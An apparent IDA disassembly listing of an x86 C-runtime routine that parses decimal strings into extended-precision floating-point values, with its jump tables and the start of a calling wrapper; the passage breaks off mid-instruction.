======================================= ; Attributes: bp-based frame sub_438500 proc near ; CODE XREF: sub_435570+1Ap ; .XComp0:004355CAp ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_438579 ; --------------------------------------------------------------------------- loc_438570: ; CODE XREF: sub_438500:loc_4385A5j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_438579: ; CODE XREF: sub_438500+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_4385A5 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_4385A5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_4385A5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_4385A7 loc_4385A5: ; CODE XREF: sub_438500+82j ; sub_438500+8Dj ... jmp short loc_438570 ; --------------------------------------------------------------------------- loc_4385A7: ; CODE XREF: sub_438500+A3j ; sub_438500:loc_438D03j cmp [ebp+var_4C], 0Ah jz loc_438D08 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_438D03 mov ecx, [ebp+var_80] jmp off_438F1A[ecx*4] loc_4385DC: ; DATA XREF: .XComp0:off_438F1Ao movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_438600 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_438600 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_438675 ; --------------------------------------------------------------------------- loc_438600: ; CODE XREF: sub_438500+E3j ; sub_438500+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_4524F4 cmp edx, eax jnz short loc_438618 mov [ebp+var_4C], 5 jmp short loc_438675 ; --------------------------------------------------------------------------- loc_438618: ; CODE XREF: sub_438500+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_438647 cmp [ebp+var_84], 2Dh jz short loc_438656 cmp [ebp+var_84], 30h jz short loc_43863E jmp short loc_438665 ; --------------------------------------------------------------------------- loc_43863E: ; CODE XREF: sub_438500+13Aj mov [ebp+var_4C], 1 jmp short loc_438675 ; --------------------------------------------------------------------------- loc_438647: ; CODE XREF: sub_438500+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_438675 ; --------------------------------------------------------------------------- loc_438656: ; CODE XREF: sub_438500+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_438675 ; --------------------------------------------------------------------------- loc_438665: ; CODE XREF: sub_438500+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_438675: ; CODE XREF: sub_438500+FEj ; sub_438500+116j ... jmp loc_438D03 ; --------------------------------------------------------------------------- loc_43867A: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F1Eo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_4386A8 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_4386A8 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_43872B ; --------------------------------------------------------------------------- loc_4386A8: ; CODE XREF: sub_438500+188j ; sub_438500+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_4524F4 cmp eax, ecx jnz short loc_4386C0 mov [ebp+var_4C], 4 jmp short loc_43872B ; --------------------------------------------------------------------------- loc_4386C0: ; CODE XREF: sub_438500+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_43871B mov edx, [ebp+var_88] xor ecx, ecx mov cl, byte_438F5A[edx] jmp off_438F4A[ecx*4] loc_4386F7: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F4Eo mov [ebp+var_4C], 1 jmp short loc_43872B ; --------------------------------------------------------------------------- loc_438700: ; CODE XREF: sub_438500+D5j ; sub_438500+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_43872B ; --------------------------------------------------------------------------- loc_438709: ; CODE XREF: sub_438500+D5j ; sub_438500+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_43872B ; --------------------------------------------------------------------------- loc_43871B: ; CODE XREF: sub_438500+D5j ; sub_438500+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43872B: ; CODE XREF: sub_438500+1A3j ; sub_438500+1BEj ... jmp loc_438D03 ; --------------------------------------------------------------------------- loc_438730: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F22o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_438754 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_438754 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_438796 ; --------------------------------------------------------------------------- loc_438754: ; CODE XREF: sub_438500+237j ; sub_438500+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_4524F4 cmp edx, eax jnz short loc_43876C mov [ebp+var_4C], 5 jmp short loc_438796 ; --------------------------------------------------------------------------- loc_43876C: ; CODE XREF: sub_438500+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_438780 jmp short loc_438789 ; --------------------------------------------------------------------------- loc_438780: ; CODE XREF: sub_438500+27Cj mov [ebp+var_4C], 1 jmp short loc_438796 ; --------------------------------------------------------------------------- loc_438789: ; CODE XREF: sub_438500+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_438796: ; CODE XREF: sub_438500+252j ; sub_438500+26Aj ... jmp loc_438D03 ; --------------------------------------------------------------------------- loc_43879B: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F26o mov [ebp+var_54], 1 jmp short loc_4387B5 ; --------------------------------------------------------------------------- loc_4387A4: ; CODE XREF: sub_438500:loc_43882Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4387B5: ; CODE XREF: sub_438500+2A2j cmp dword_4524F0, 1 jle short loc_4387D9 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_429750 add esp, 8 mov [ebp+var_90], eax jmp short loc_4387F7 ; --------------------------------------------------------------------------- loc_4387D9: ; CODE XREF: sub_438500+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_4387F7: ; CODE XREF: sub_438500+2D7j cmp [ebp+var_90], 0 jz short loc_438834 cmp [ebp+var_70], 19h jnb short loc_438826 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_43882F ; --------------------------------------------------------------------------- loc_438826: ; CODE XREF: sub_438500+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_43882F: ; CODE XREF: sub_438500+324j jmp loc_4387A4 ; --------------------------------------------------------------------------- loc_438834: ; CODE XREF: sub_438500+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_4524F4 cmp eax, ecx jnz short loc_43884C mov [ebp+var_4C], 4 jmp short loc_4388AE ; --------------------------------------------------------------------------- loc_43884C: ; CODE XREF: sub_438500+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_43889E mov edx, [ebp+var_94] xor ecx, ecx mov cl, byte_438FA1[edx] jmp off_438F95[ecx*4] loc_438883: ; DATA XREF: .XComp0:00438F99o mov [ebp+var_4C], 6 jmp short loc_4388AE ; --------------------------------------------------------------------------- loc_43888C: ; CODE XREF: sub_438500+37Cj ; DATA XREF: .XComp0:off_438F95o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_4388AE ; --------------------------------------------------------------------------- loc_43889E: ; CODE XREF: sub_438500+36Cj ; sub_438500+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4388AE: ; CODE XREF: sub_438500+34Aj ; sub_438500+38Aj ... jmp loc_438D03 ; --------------------------------------------------------------------------- loc_4388B3: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F2Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_4388EE jmp short loc_4388DA ; --------------------------------------------------------------------------- loc_4388C9: ; CODE XREF: sub_438500+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4388DA: ; CODE XREF: sub_438500+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_4388EE mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_4388C9 ; --------------------------------------------------------------------------- loc_4388EE: ; CODE XREF: sub_438500+3C5j ; sub_438500+3E1j jmp short loc_438901 ; --------------------------------------------------------------------------- loc_4388F0: ; CODE XREF: sub_438500:loc_438979j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_438901: ; CODE XREF: sub_438500:loc_4388EEj cmp dword_4524F0, 1 jle short loc_438926 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_429750 add esp, 8 mov [ebp+var_98], eax jmp short loc_438943 ; --------------------------------------------------------------------------- loc_438926: ; CODE XREF: sub_438500+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_438943: ; CODE XREF: sub_438500+424j cmp [ebp+var_98], 0 jz short loc_43897E cmp [ebp+var_70], 19h jnb short loc_438979 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_438979: ; CODE XREF: sub_438500+450j jmp loc_4388F0 ; --------------------------------------------------------------------------- loc_43897E: ; CODE XREF: sub_438500+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_4389D0 mov ecx, [ebp+var_9C] xor eax, eax mov al, byte_438FE8[ecx] jmp off_438FDC[eax*4] loc_4389B5: ; DATA XREF: .XComp0:00438FE0o mov [ebp+var_4C], 6 jmp short loc_4389E0 ; --------------------------------------------------------------------------- loc_4389BE: ; CODE XREF: sub_438500+4AEj ; DATA XREF: .XComp0:off_438FDCo mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_4389E0 ; --------------------------------------------------------------------------- loc_4389D0: ; CODE XREF: sub_438500+49Ej ; sub_438500+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_4389E0: ; CODE XREF: sub_438500+4BCj ; sub_438500+4CEj jmp loc_438D03 ; --------------------------------------------------------------------------- loc_4389E5: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F2Eo mov [ebp+var_C], 1 cmp dword_4524F0, 1 jle short loc_438A11 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_429750 add esp, 8 mov [ebp+var_A0], eax jmp short loc_438A2E ; --------------------------------------------------------------------------- loc_438A11: ; CODE XREF: sub_438500+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_438A2E: ; CODE XREF: sub_438500+50Fj cmp [ebp+var_A0], 0 jz short loc_438A49 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_438A56 ; --------------------------------------------------------------------------- loc_438A49: ; CODE XREF: sub_438500+535j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_438A56: ; CODE XREF: sub_438500+547j jmp loc_438D03 ; --------------------------------------------------------------------------- loc_438A5B: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F32o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_438A88 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_438A88 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_438ADD ; --------------------------------------------------------------------------- loc_438A88: ; CODE XREF: sub_438500+56Bj ; sub_438500+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_438AC7 cmp [ebp+var_A4], 2Dh jz short loc_438AB7 cmp [ebp+var_A4], 30h jz short loc_438AAE jmp short loc_438AD0 ; --------------------------------------------------------------------------- loc_438AAE: ; CODE XREF: sub_438500+5AAj mov [ebp+var_4C], 8 jmp short loc_438ADD ; --------------------------------------------------------------------------- loc_438AB7: ; CODE XREF: sub_438500+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_438ADD ; --------------------------------------------------------------------------- loc_438AC7: ; CODE XREF: sub_438500+598j mov [ebp+var_4C], 7 jmp short loc_438ADD ; --------------------------------------------------------------------------- loc_438AD0: ; CODE XREF: sub_438500+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_438ADD: ; CODE XREF: sub_438500+586j ; sub_438500+5B5j ... jmp loc_438D03 ; --------------------------------------------------------------------------- loc_438AE2: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F3Ao mov [ebp+var_18], 1 jmp short loc_438AFC ; --------------------------------------------------------------------------- loc_438AEB: ; CODE XREF: sub_438500+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_438AFC: ; CODE XREF: sub_438500+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_438B07 jmp short loc_438AEB ; --------------------------------------------------------------------------- loc_438B07: ; CODE XREF: sub_438500+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_438B2B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_438B2B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_438B3B ; --------------------------------------------------------------------------- loc_438B2B: ; CODE XREF: sub_438500+60Ej ; sub_438500+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_438B3B: ; CODE XREF: sub_438500+629j jmp loc_438D03 ; --------------------------------------------------------------------------- loc_438B40: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F36o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_438B64 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_438B64 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_438B8E ; --------------------------------------------------------------------------- loc_438B64: ; CODE XREF: sub_438500+647j ; sub_438500+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_438B78 jmp short loc_438B81 ; --------------------------------------------------------------------------- loc_438B78: ; CODE XREF: sub_438500+674j mov [ebp+var_4C], 8 jmp short loc_438B8E ; --------------------------------------------------------------------------- loc_438B81: ; CODE XREF: sub_438500+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_438B8E: ; CODE XREF: sub_438500+662j ; sub_438500+67Fj jmp loc_438D03 ; --------------------------------------------------------------------------- loc_438B93: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F3Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_438BB4 ; --------------------------------------------------------------------------- loc_438BA3: ; CODE XREF: sub_438500:loc_438C22j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_438BB4: ; CODE XREF: sub_438500+6A1j cmp dword_4524F0, 1 jle short loc_438BD9 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_429750 add esp, 8 mov [ebp+var_AC], eax jmp short loc_438BF6 ; --------------------------------------------------------------------------- loc_438BD9: ; CODE XREF: sub_438500+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_438BF6: ; CODE XREF: sub_438500+6D7j cmp [ebp+var_AC], 0 jz short loc_438C27 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_438C22 mov [ebp+var_7C], 1451h jmp short loc_438C27 ; --------------------------------------------------------------------------- loc_438C22: ; CODE XREF: sub_438500+717j jmp loc_438BA3 ; --------------------------------------------------------------------------- loc_438C27: ; CODE XREF: sub_438500+6FDj ; sub_438500+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_438C40 ; --------------------------------------------------------------------------- loc_438C2F: ; CODE XREF: sub_438500+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_438C40: ; CODE XREF: sub_438500+72Dj cmp dword_4524F0, 1 jle short loc_438C65 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_429750 add esp, 8 mov [ebp+var_B0], eax jmp short loc_438C82 ; --------------------------------------------------------------------------- loc_438C65: ; CODE XREF: sub_438500+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_438C82: ; CODE XREF: sub_438500+763j cmp [ebp+var_B0], 0 jz short loc_438C8D jmp short loc_438C2F ; --------------------------------------------------------------------------- loc_438C8D: ; CODE XREF: sub_438500+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_438D03 ; --------------------------------------------------------------------------- loc_438C9F: ; CODE XREF: sub_438500+D5j ; DATA XREF: .XComp0:00438F46o cmp [ebp+arg_18], 0 jz short loc_438CF3 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_438CDB cmp [ebp+var_B4], 2Dh jz short loc_438CCB jmp short loc_438CE4 ; --------------------------------------------------------------------------- loc_438CCB: ; CODE XREF: sub_438500+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_438CF1 ; --------------------------------------------------------------------------- loc_438CDB: ; CODE XREF: sub_438500+7BEj mov [ebp+var_4C], 7 jmp short loc_438CF1 ; --------------------------------------------------------------------------- loc_438CE4: ; CODE XREF: sub_438500+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_438CF1: ; CODE XREF: sub_438500+7D9j ; sub_438500+7E2j jmp short loc_438D03 ; --------------------------------------------------------------------------- loc_438CF3: ; CODE XREF: sub_438500+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_438D03: ; CODE XREF: sub_438500+CCj ; sub_438500+D5j ... jmp loc_4385A7 ; --------------------------------------------------------------------------- loc_438D08: ; CODE XREF: sub_438500+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_438E57 cmp [ebp+var_40], 0 jnz loc_438E57 cmp [ebp+var_78], 0 jnz loc_438E57 cmp [ebp+var_70], 18h jbe short loc_438D5F movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_438D46 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_438D46: ; CODE XREF: sub_438500+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_438D5F: ; CODE XREF: sub_438500+832j cmp [ebp+var_70], 0 jbe loc_438E3A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_438D7D ; --------------------------------------------------------------------------- loc_438D74: ; CODE XREF: sub_438500+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_438D7D: ; CODE XREF: sub_438500+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_438D9B mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_438D74 ; --------------------------------------------------------------------------- loc_438D9B: ; CODE XREF: sub_438500+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_4383C0 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_438DBD mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_438DBD: ; CODE XREF: sub_438500+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_438DD5 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_438DD5: ; CODE XREF: sub_438500+8CAj cmp [ebp+var_C], 0 jnz short loc_438DE4 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_438DE4: ; CODE XREF: sub_438500+8D9j cmp [ebp+var_14], 1450h jle short loc_438DF6 mov [ebp+var_40], 1 jmp short loc_438E38 ; --------------------------------------------------------------------------- loc_438DF6: ; CODE XREF: sub_438500+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_438E08 mov [ebp+var_78], 1 jmp short loc_438E38 ; --------------------------------------------------------------------------- loc_438E08: ; CODE XREF: sub_438500+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_43B690 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_438E38: ; CODE XREF: sub_438500+8F4j ; sub_438500+906j jmp short loc_438E57 ; --------------------------------------------------------------------------- loc_438E3A: ; CODE XREF: sub_438500+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_438E57: ; CODE XREF: sub_438500+814j ; sub_438500+81Ej ... cmp [ebp+var_54], 0 jnz short loc_438E86 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_438EDD ; --------------------------------------------------------------------------- loc_438E86: ; CODE XREF: sub_438500+95Bj cmp [ebp+var_40], 0 jz short loc_438EB1 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_438EDD ; --------------------------------------------------------------------------- loc_438EB1: ; CODE XREF: sub_438500+98Aj cmp [ebp+var_78], 0 jz short loc_438EDD mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_438EDD: ; CODE XREF: sub_438500+984j ; sub_438500+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_438500 endp ; --------------------------------------------------------------------------- off_438F1A dd offset loc_4385DC ; DATA XREF: sub_438500+D5r dd offset loc_43867A dd offset loc_438730 dd offset loc_43879B dd offset loc_4388B3 dd offset loc_4389E5 dd offset loc_438A5B dd offset loc_438B40 dd offset loc_438AE2 dd offset loc_438B93 dd offset loc_438D03 dd offset loc_438C9F off_438F4A dd offset loc_438709 ; DATA XREF: sub_438500+1F0r dd offset loc_4386F7 dd offset loc_438700 dd offset loc_43871B byte_438F5A db 0 ; DATA XREF: sub_438500+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_438F95 dd offset loc_43888C ; DATA XREF: sub_438500+37Cr dd offset loc_438883 dd offset loc_43889E byte_438FA1 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_438500+376r off_438FDC dd offset loc_4389BE ; DATA XREF: sub_438500+4AEr dd offset loc_4389B5 dd offset loc_4389D0 byte_438FE8 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_438500+4A8r db 0Dh dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_438500 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_4354B0 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_439078 mov eax, [ebp-14h] or 